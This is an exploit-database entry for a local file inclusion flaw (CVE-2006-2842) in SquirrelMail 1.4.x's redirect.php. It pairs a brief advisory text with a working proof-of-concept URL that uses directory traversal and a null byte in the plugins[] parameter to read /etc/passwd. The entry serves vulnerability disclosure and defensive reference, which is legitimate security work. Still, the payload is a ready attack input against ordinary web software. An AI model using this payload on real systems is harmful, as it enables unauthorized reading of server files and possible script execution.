Squirrelmail 1.4.x - 'Redirect.php' Local File Inclusion

Author: brokejunker
type: webapps
platform: php
port: 0
date_added: 2006-06-02
date_updated: 2013-08-30
verified: 1
codes: CVE-2006-2842;OSVDB-25973
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source: https://www.securityfocus.com/bid/18231/info

SquirrelMail is prone to a local file-include vulnerability because it fails to properly sanitize user-supplied input.

A successful exploit may allow unauthorized users to view files and to execute local scripts; other attacks are also possible.

http://www.example.com/[squirrelmail dir]/src/redirect.php?plugins[]=../../../../etc/passwd%00